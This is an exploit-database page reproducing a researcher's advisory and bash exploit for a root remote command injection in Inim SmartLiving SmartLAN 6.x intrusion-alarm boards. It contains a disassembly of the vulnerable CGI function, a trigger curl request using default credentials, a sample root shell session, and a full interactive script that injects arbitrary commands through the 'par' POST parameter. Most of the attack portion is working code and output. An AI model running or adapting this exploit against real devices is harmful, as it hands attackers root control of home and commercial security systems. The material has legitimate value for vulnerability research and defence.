Inim Electronics Smartliving SmartLAN 6.x Remote Command Execution

2019.12.11

Credit: **LiquidWorm (https://cxsecurity.com/author/LiquidWorm/1/)**

Risk: **High**

Local: **No**

Remote: **Yes**

CVE: **N/A**

CWE: **CWE-78 (https://cxsecurity.com/cwe/CWE-78)**

```
# Exploit Title: Inim Electronics Smartliving SmartLAN 6.x - Remot
e Command Execution
# Author: LiquidWorm
# Date: 2019-12-09
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-a
utomation/control-panel-smartliving?
# Version: 6.x
# Advisory ID: ZSL-2019-5545
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-
2019-5545.php

#!/bin/bash
#
#
# Inim Electronics SmartLiving SmartLAN/G/SI <=6.x Root Remote Com
mand Execution
#
#
# Vendor: INIM Electronics s.r.l.
# Product web page: https://www.inim.biz
# Link: https://www.inim.biz/en/antintrusion-control-panels/home-a
utomation/control-panel-smartliving?
```

```
# Affected version: <=6.x
# Affected models: SmartLiving 505
#                  SmartLiving 515
#                  SmartLiving 1050, SmartLiving 1050/G3
#                  SmartLiving 10100L, SmartLiving10100L/G3
#
# Summary: SmartLiving anti-intrusion control panel and security s
ystem provides
# important features rarely found in residential, commercial or in
dustrial application
# systems of its kind. This optimized-performance control panel pr
ovides first-rate
# features such as: graphic display, text-to-speech, voice notifie
r, flexible hardware,
# end-to-end voice transmission (voice-on-bus), IP connectivity.
#
# SMARTLAN/SI:
# The system-on-chip platform used in the SmartLAN/SI accessory bo
ard provides point-to-point
# networking capability and fast connectivity to the Internet. The
refore, it is possible
# to set up a remote connection and program or control the system
via the SmartLeague
# software application. In effect, the SmartLAN/SI board grants th
e same level of access
# to the system as a local RS232 connection.
#
# SMARTLAN/G:
# The SmartLAN/G board operates in the same way as the SmartLAN/SI
but in addition provides
# advanced remote-access and communication functions. The SmartLA
N/G board is capable of
# sending event-related e-mails automatically. Each e-mail can be
associated with a subject,
# an attachment and a text message. The attachment can be of any k
ind and is saved to an
# SD card. The message text can contain direct links to domains or
IP addressable devices,
# such as a security cameras. In addition to e-mails, the SmartLA
N/G board offers users
```

```
# global access to their control panels via any Internet browser a
ccessed through a PC,
# PDA or Smartphone. In fact, the SmartLAN/G has an integrated web
-server capable of
# distinguishing the means of connection and as a result provides
an appropriate web-page
# for the tool in use. Smartphones can control the system in much
the same way as a
# household keypad, from inside the house or from any part of the
world.
#
# Desc: SmartLiving SmartLAN suffers from an authenticated remote
command injection vulnerability.
# The issue exist due to the 'par' POST parameter not being saniti
zed when called with
# the 'testemail' module through web.cgi binary. The vulnerable CG
I binary (ELF 32-bit
# LSB executable, ARM) is calling the 'sh' executable via the syst
em() function to issue
# a command using the mailx service and its vulnerable string form
at parameter allowing
# for OS command injection with root privileges. An attacker can r
emotely execute system
# commands as the root user using default credentials and bypass a
ccess controls in place.
#
# ================= dissassembly of vuln function ===============
=
#
#[0x0000c86c]> pd @ 0x000c86c
#| ;-- pc:
#| ;-- r15:
#| 0x0000c86c    ldr r1, str.testemail       ; [0xed96:4]=0x747365
74 ; "testemail" ; const char * s2
#| 0x0000c870    bl sym.imp.strcmp           ; int strcmp(const ch
ar *s1, const char *s2)
#| 0x0000c874    cmp r0, 0
#| 0x0000c878    bne 0xc8b8
#| 0x0000c87c    cmp sl, 0
#| 0x0000c880    beq 0xd148
```

```
#| 0x0000c884    bl sym.set_no_cache
#| 0x0000c888    add r5, sp, 0x20
#| 0x0000c88c    mov r0, r4
#| 0x0000c890    ldr r1, str.application_json ; [0xeda0:4]=0x6c707
061 ; "application/json"
#| 0x0000c894    bl sym.imp.qcgires_setcontenttype
#| 0x0000c898    mov r0, r5                  ; char *s
#| 0x0000c89c    mov r1, 0xc8                ; 200 ; size_t
#| 0x0000c8a0    ldr r2, str.echo__Hello_____mailx__s__Email_test_
__s ; [0xedb1:4]=0x6f686365 ; "echo \"Hello!\" | mailx -s \"Email
test\" %s" ; con
#| 0x0000c8a4    mov r3, r8                  ; ...
#| 0x0000c8a8    bl sym.imp.snprintf         ; int snprintf(char *
s,
#| 0x0000c8ac    mov r0, r5                  ; const char * string
#| 0x0000c8b0    bl sym.imp.system           ; int system(const ch
ar *string)
#| 0x0000c8b4    b 0xd134
#|
#| system() @0x0000c8b0 arguments: "sh -c echo "Hello!" | mailx -s
"Email test" %s"
#| Trigger suggest: $(curl -sik http://192.168.1.17/cgi-bin/web.cg
i -X POST --data "mod=testemail&par=;/sbin/ifconfig" --cookie "use
r=admin;pass=pass;code=9999")
#| Process: 1351 root       0:00 sh -c echo "Hello!" | mailx -s "E
maiil test" ;/sbin/ifconfig
#|__
# ================================================================
=
#
# ----------------------------------------------------------------
-
#
# root@kali:~# ./xpl.sh https://192.168.1.17
#
# Checking target: https://192.168.1.17
# ACCESS GRANTED!
#
# root@ssl> id; uname -a; getconf LONG_BIT; cat ../version.html; p
wd
```

```
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# Linux SmartLAN 3.2.1 #195 PREEMPT Thu May 30 15:26:27 CEST 2013
armv5tejl GNU/Linux
# 32
# <!-- SLF6.07 10100 -->
# <html><body><h2>
# SmartLiving 6.07 10100
# <br><br>SmartLAN/G v. 6.11
# /www/cgi-bin
# root@ssl> exit
# root@kali:~/#
#
# ------------------------------------------------------------------
-
#
# Tested on: GNU/Linux 3.2.1 armv5tejl
#            Boa/0.94.14rc21
#            BusyBox v1.20.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                              @zeroscience
#
#
# Advisory ID: ZSL-2019-5544
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-
2019-5544.php
#
#
# 06.09.2019
#

URL=$1
CGI="/cgi-bin/web.cgi"
COOK="user=admin;pass=pass;code=9999"
COOK1="user=admin;pass=pass;code=9998"
COOK2="user=user;pass=pass;code=0001"
PARAMS="mod=testemail&par=;"
CHECK=${URL:4:1}
```

```
if [ "$#" -ne 1 ]; then
        echo -en "\e[34m"
        echo "================================================"
        echo " SmartLiving  SmartLAN 6.x Remote Root Exploit"
        echo -e "\t\tZSL-2019-5544"
        echo "================================================"
        echo -en "\e[00m"
        echo -e "\nUsage: $0 http(s)://ip:port\n"
    exit 0
fi

echo -ne "\nChecking target: $URL\n"

if [ "$CHECK" == "s" ]; then
        TEST=$(curl -sIk $URL 2>/dev/null | head -1 | awk -F" "
'{print $2}')
        if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
                echo "HTTPS with error!"
                exit 0
        fi
        if curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PA
RAMS}id" | grep uid 1>/dev/null
        then
                echo -e "ACCESS GRANTED!\n"
        else
                echo "Invalid credentials."
                exit 0
        fi
        while true; do
                R="$(tput sgr0)"
                S="$(tput setaf 2)"
                read -rp "${S}root@ssl>${R} " CMD
                if [[ "$CMD" == "exit" ]]; then
                        exit 0
                fi
                curl -sik -X POST "$URL$CGI" -H "Cookie: $COOK" -
d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n
-5
        done
else
```

```
        TEST=$(curl -sI $URL 2>/dev/null | head -1 | awk -F" " '{p
rint $2}')
        if [[ "$?" = "7" ]] || [[ $TEST != "200" ]]; then
                echo "HTTP with error!"
                exit 0
        fi
        if curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -d"${PAR
AMS}id" | grep uid 1>/dev/null
        then
                echo -e "ACCESS GRANTED!\n"
        else
                echo "Invalid credentials."
                exit 0
        fi
        while true; do
                R="$(tput sgr0)"
                S="$(tput setaf 2)"
                read -rp "${S}root@http>${R} " CMD
                if [[ "$CMD" == "exit" ]]; then
                        exit 0
                fi
                curl -si -X POST "$URL$CGI" -H "Cookie: $COOK" -
d"$PARAMS${CMD}" | awk "/Connection: close/{j=1;next}j" | head -n
-5
        done
fi
```

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)